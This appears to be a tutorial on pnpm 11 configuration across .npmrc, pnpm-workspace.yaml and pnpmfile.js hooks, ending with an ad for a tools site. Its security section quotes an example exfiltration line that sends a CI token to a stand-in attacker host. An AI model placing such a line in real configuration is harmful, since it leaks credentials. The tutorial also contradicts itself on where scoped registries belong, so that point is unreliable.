pnpm 11 📦 Configuring pnpm with .npmrc and pnpmfile.js
Configuration in pnpm 11 is not a single file. It is a deliberate split: authentication and registry settings live in .npmrc (INI format), while pnpm-specific behavior lives in pnpm-workspace.yaml (YAML format). The pnpmfile.js is a third mechanism entirely—a hook system that intercepts the dependency resolution process before the lockfile is written. Understanding which file controls what is the difference between a configuration that works and one that silently fails because the setting was placed in the wrong file.
Key point: pnpm 11 stopped reading non-auth settings from .npmrc. Registry URLs and authentication tokens belong in .npmrc. Everything else—linker mode, hoisting, package extensions, save prefixes—belongs in pnpm-workspace.yaml or the global config.yaml. The pnpmfile.js is for mutating package manifests during resolution, not for configuration.
Why configuration is split across files
The npm compatibility problem. .npmrc is a standard that npm, Yarn, and pnpm all read. Registry URLs, scoped registries, and authentication tokens must be in a format that npm understands, because pnpm delegates some publishing operations to the npm CLI. The INI format is the lowest common denominator. pnpm cannot replace it without breaking compatibility with the broader ecosystem .
The security problem. A committed .npmrc file is controlled by the repository. Before pnpm v10.34.2 and v11.5.3, pnpm expanded environment variables in .npmrc, allowing a malicious repository to exfiltrate CI tokens by writing registry=https://attacker.example/${CI_JOB_TOKEN}/. The fix was to stop expanding environment variables in repository-controlled configuration for registry URLs and credentials. Authentication must come from a trusted source: the user-level ~/.npmrc, the global auth.ini, or environment variables .
The YAML migration problem. pnpm-specific settings were historically stored in .npmrc as key-value pairs. pnpm 11 moved these to pnpm-workspace.yaml because YAML supports nested structures—catalogs, package extensions, registries with multiple scopes—that the flat INI format cannot express cleanly. The migration is deliberate: .npmrc is for auth, YAML is for pnpm .
The resolution interception problem. Configuration files set values before installation begins. But some problems only appear during resolution: a package that forgot to declare a peer dependency, a transitive dependency that needs pinning, a binary that needs renaming. pnpmfile.js hooks run at this stage, mutating the package manifest in memory before the lockfile is written. The mutation is not persisted to disk; it affects only the resolution .
The trade-off. Splitting configuration across three files means the administrator must know which file controls which setting. A nodeLinker in .npmrc is ignored by pnpm 11. A registry in pnpm-workspace.yaml may be ignored because registry settings belong in .npmrc. The documentation is the only reliable guide, and the error messages are often silent.
a. .npmrc: registry and authentication only
In pnpm 11, .npmrc is restricted to registry and authentication settings. The registry key sets the default registry URL. Scoped registries use the @scope:registry syntax. Authentication uses the //registry.url/:_authToken syntax .
# .npmrc — committed to repository
registry=https://registry.npmjs.org/
@myorg:registry=https://npm.internal.example.com/
The authentication token must not be committed. The correct pattern is to inject it from a trusted source: the user-level ~/.npmrc, the global auth.ini via pnpm config set, or an environment variable.
# Write to global auth file (not the repository)
pnpm config set //npm.internal.example.com/:_authToken "$INTERNAL_TOKEN"
The pnpm config set command writes to the global configuration by default, not to the project .npmrc. The token never enters the repository .
For CI environments, the actions/setup-node action with the registry-url input writes the authentication to a user-level .npmrc file, which pnpm reads. The NODE_AUTH_TOKEN environment variable is respected .
b. pnpm-workspace.yaml: pnpm-specific settings
Settings that are not related to registry or authentication belong in pnpm-workspace.yaml. This includes the nodeLinker setting, hoisting configuration, package extensions, and shared catalogs .
# pnpm-workspace.yaml
nodeLinker: hoisted
hoist: true
packageExtensions:
"broken-package@*":
peerDependencies:
react: "*"
catalog:
react: ^19.0.0
The nodeLinker setting controls the installation layout: isolated (default), hoisted, or pnp. The hoist setting controls the hidden hoisting layer. The packageExtensions setting injects missing dependencies into broken packages without modifying the package itself.
The registries setting in pnpm-workspace.yaml replaces the @scope:registry lines from .npmrc. This is a pnpm 11 change that consolidates registry configuration into the YAML file .
registries:
default: https://registry.npmjs.org/
"@myorg": https://npm.internal.example.com/
c. pnpmfile.js: hooks for resolution-time mutations
The pnpmfile.js (or .pnpmfile.mjs for ESM) is a JavaScript file that exports hooks. The readPackage hook is called for every package before resolution, allowing the manifest to be mutated in memory .
// pnpmfile.js
function readPackage(pkg, context) {
// Add a missing peer dependency
if (pkg.name === 'some-broken-package') {
pkg.peerDependencies = { ...pkg.peerDependencies, react: '*' };
}
// Pin a transitive dependency
if (pkg.dependencies?.lodash) {
pkg.dependencies.lodash = '^4.17.21';
}
return pkg;
}
module.exports = { hooks: { readPackage } };
The mutation is not written to disk. It affects only the resolution and the lockfile. If the dependency was already locked, deleting pnpm-lock.yaml is required for the hook to take effect on the next install .
The afterAllResolved hook runs after resolution completes and receives the lockfile object. It can mutate the lockfile before it is written. This is used for advanced scenarios like injecting overrides based on the full resolution graph .
The pnpmfile.js location is the directory containing the lockfile. In a workspace, this is the root of the monorepo. The --pnpmfile flag or the pnpmfile setting in .npmrc (or the global config) can override the path .
Complete Example Session
# ============================================
# PART 1: CONFIGURE REGISTRY IN .NPMRC
# ============================================
cat > .npmrc <<'EOF'
registry=https://registry.npmjs.org/
@myorg:registry=https://npm.internal.example.com/
EOF
# ============================================
# PART 2: INJECT TOKEN FROM TRUSTED SOURCE
# ============================================
# In CI, before install:
pnpm config set //npm.internal.example.com/:_authToken "$INTERNAL_TOKEN"
# Written to global auth.ini, not to .npmrc
# ============================================
# PART 3: CONFIGURE LINKER IN WORKSPACE YAML
# ============================================
cat > pnpm-workspace.yaml <<'EOF'
nodeLinker: hoisted
hoist: true
EOF
# ============================================
# PART 4: ADD PACKAGE EXTENSIONS
# ============================================
cat >> pnpm-workspace.yaml <<'EOF'
packageExtensions:
"react-cosmos@*":
peerDependencies:
react: "*"
react-dom: "*"
EOF
# ============================================
# PART 5: CREATE PNPMFILE.JS HOOK
# ============================================
cat > pnpmfile.js <<'EOF'
function readPackage(pkg, context) {
if (pkg.dependencies?.lodash) {
pkg.dependencies.lodash = '^4.17.21';
}
return pkg;
}
module.exports = { hooks: { readPackage } };
EOF
# ============================================
# PART 6: INSTALL WITH THE HOOK
# ============================================
pnpm install
# The hook mutates lodash in memory before resolution.
# ============================================
# PART 7: VERIFY THE EFFECT
# ============================================
pnpm why lodash
# Shows lodash@^4.17.21 in the dependency chain.
# ============================================
# PART 8: FORCE RE-RESOLUTION
# ============================================
rm pnpm-lock.yaml
pnpm install
# The hook re-runs against the fresh resolution.
# ============================================
# PART 9: SECURITY CHECK
# ============================================
grep -r '\${' .npmrc
# No output: environment variables are not expanded in repo .npmrc.
The nine parts trace the configuration split: registry in .npmrc, token from a trusted source, linker in YAML, package extensions in YAML, a pnpmfile.js hook, installation, verification, forced re-resolution, and a security check.
Quick Reference
File Responsibilities
| File | Format | Settings |
|---|---|---|
.npmrc | INI | Registry URLs, scoped registries, auth tokens |
pnpm-workspace.yaml | YAML | Linker, hoisting, catalogs, package extensions |
pnpmfile.js | JavaScript | readPackage, afterAllResolved hooks |
~/.npmrc | INI | User-level auth (tokens expanded) |
auth.ini | INI | Global auth (written by pnpm config set) |
.npmrc Keys (pnpm 11)
| Key | Purpose |
|---|---|
registry | Default registry URL |
@scope:registry | Scoped registry URL |
//registry/:_authToken | Authentication token |
pnpm-workspace.yaml Keys
| Key | Purpose |
|---|---|
nodeLinker | isolated, hoisted, pnp |
hoist | Enable/disable hidden hoisting |
packageExtensions | Inject missing dependencies |
catalog | Shared dependency versions |
registries | Registry configuration (pnpm 11) |
pnpmfile.js Hooks
| Hook | Purpose |
|---|---|
readPackage(pkg, context) | Mutate package manifest before resolution |
afterAllResolved(lockfile, context) | Mutate lockfile after resolution |
Best Practices
✅ Do This:
# .npmrc
registry=https://registry.npmjs.org/
@myorg:registry=https://npm.internal.example.com/
- ✅ Registry settings in
.npmrc(npm-compatible)
pnpm config set //npm.internal.example.com/:_authToken "$TOKEN"
- ✅ Token written to global auth file, not repository
# pnpm-workspace.yaml
nodeLinker: hoisted
- ✅ pnpm-specific settings in YAML
❌ Don’t Do This:
# .npmrc
nodeLinker=hoisted
- ❌ pnpm 11 ignores non-auth settings in
.npmrc
# .npmrc (committed)
//registry.npmjs.org/:_authToken=${NPM_TOKEN}
- ❌ Environment variable not expanded in repository file
# Put package extensions in .npmrc
- ❌ Use
pnpm-workspace.yamlfor pnpm settings
Common Pitfalls
| Pitfall | Why It Happens | Fix |
|---|---|---|
nodeLinker ignored | Placed in .npmrc | Move to pnpm-workspace.yaml |
| Token not expanded | Committed .npmrc | Use pnpm config set or user-level ~/.npmrc |
| Hook not running | pnpmfile.js in wrong directory | Place beside lockfile (workspace root) |
| Hook effect not visible | Dependency already locked | Delete pnpm-lock.yaml and reinstall |
| Scoped registry not working | Wrong syntax | Use @scope:registry=url in .npmrc |
Real-World Examples
1. Registry in .npmrc
registry=https://registry.npmjs.org/
2. Scoped Registry
@myorg:registry=https://npm.internal.example.com/
3. Global Token
pnpm config set //npm.internal.example.com/:_authToken "$TOKEN"
4. Linker in YAML
nodeLinker: hoisted
5. Package Extension
packageExtensions:
"broken-pkg@*":
peerDependencies:
react: "*"
6. Catalog in YAML
catalog:
react: ^19.0.0
7. readPackage Hook
function readPackage(pkg) {
if (pkg.dependencies?.lodash) {
pkg.dependencies.lodash = '^4.17.21';
}
return pkg;
}
8. afterAllResolved Hook
function afterAllResolved(lockfile, context) {
// Mutate lockfile before writing
return lockfile;
}
9. Custom Pnpmfile Path
pnpm install --pnpmfile=./custom-pnpmfile.js
10. Force Re-resolution
rm pnpm-lock.yaml && pnpm install
Visual
Configuration File Split
┌──────────────────────────────────────────────┐
│ .npmrc (INI) │
│ ├── registry URLs │
│ ├── @scope:registry │
│ └── //url/:_authToken │
│ (npm-compatible, auth only in pnpm 11) │
└──────────────────┬───────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ pnpm-workspace.yaml (YAML) │
│ ├── nodeLinker │
│ ├── hoist │
│ ├── packageExtensions │
│ └── catalog │
│ (pnpm-specific behavior) │
└──────────────────┬───────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ pnpmfile.js (JavaScript) │
│ ├── readPackage │
│ └── afterAllResolved │
│ (resolution-time mutations) │
└──────────────────────────────────────────────┘
Hook Execution Flow
┌──────────────────────────────────────────────┐
│ pnpm install │
└──────────────────┬───────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ Resolve dependencies │
│ (read registry metadata) │
└──────────────────┬───────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ readPackage hook runs per package │
│ → mutate manifest in memory │
└──────────────────┬───────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ afterAllResolved hook runs │
│ → mutate lockfile before write │
└──────────────────┬───────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ pnpm-lock.yaml written │
└──────────────────────────────────────────────┘
Summary
| Item | Value |
|---|---|
.npmrc scope | Registry and auth only (pnpm 11) |
pnpm-workspace.yaml scope | Linker, hoisting, extensions, catalogs |
pnpmfile.js scope | Resolution-time hooks |
| Registry key | registry= in .npmrc |
| Scoped registry | @scope:registry= in .npmrc |
| Token injection | pnpm config set (global) or user ~/.npmrc |
readPackage hook | Mutate package manifest |
afterAllResolved hook | Mutate lockfile |
| Hook location | Beside pnpm-lock.yaml |
Key takeaways:
- pnpm 11 split configuration by purpose.
.npmrcis for registry and authentication only.pnpm-workspace.yamlis for pnpm-specific behavior.pnpmfile.jsis for resolution-time mutations . - Authentication must come from a trusted source. A committed
.npmrcwith${TOKEN}is ignored for registry and credential settings. Usepnpm config set(writes to globalauth.ini) or a user-level~/.npmrc. packageExtensionsinpnpm-workspace.yamlfixes broken packages. It injects missing dependencies without modifying the package itself. This is the correct tool for packages that rely on hoisting.pnpmfile.jshooks mutate resolution, not files. ThereadPackagehook changes the manifest in memory before the lockfile is written. The change is not persisted to the package’s actualpackage.json.- Delete the lockfile to re-resolve. A hook that pins a dependency has no effect if the dependency is already locked.
rm pnpm-lock.yaml && pnpm installforces the hook to run against a fresh resolution.
Remember: Configuration in pnpm 11 is not a single file. It is a contract between three files with different formats and different purposes. .npmrc is the npm compatibility layer for registries and tokens. pnpm-workspace.yaml is the pnpm behavior layer. pnpmfile.js is the resolution hook layer. Placing a setting in the wrong file produces silence, not an error.
Stop using slow, ad-bloated tool sites! 🤮
🔎 Search “KandZ Tools” on Google to use many professional utilities for free.
KandZ.me is the ultimate minimalist hub for:
✅ Finance (Mortgage, Interest, Inflation)
✅ Tech (Base64, JSON, Dev Suite, IP)
✅ Health (BMI, BMR, TDEE)
✅ Productivity (Timer, Workspace, QR)
⚡️ Fast & Private
🔒 No data leaves your device
💎 100% Free
🔗 Use it now: https://tools.kandz.me
🔖 Bookmark it—you’ll need it later!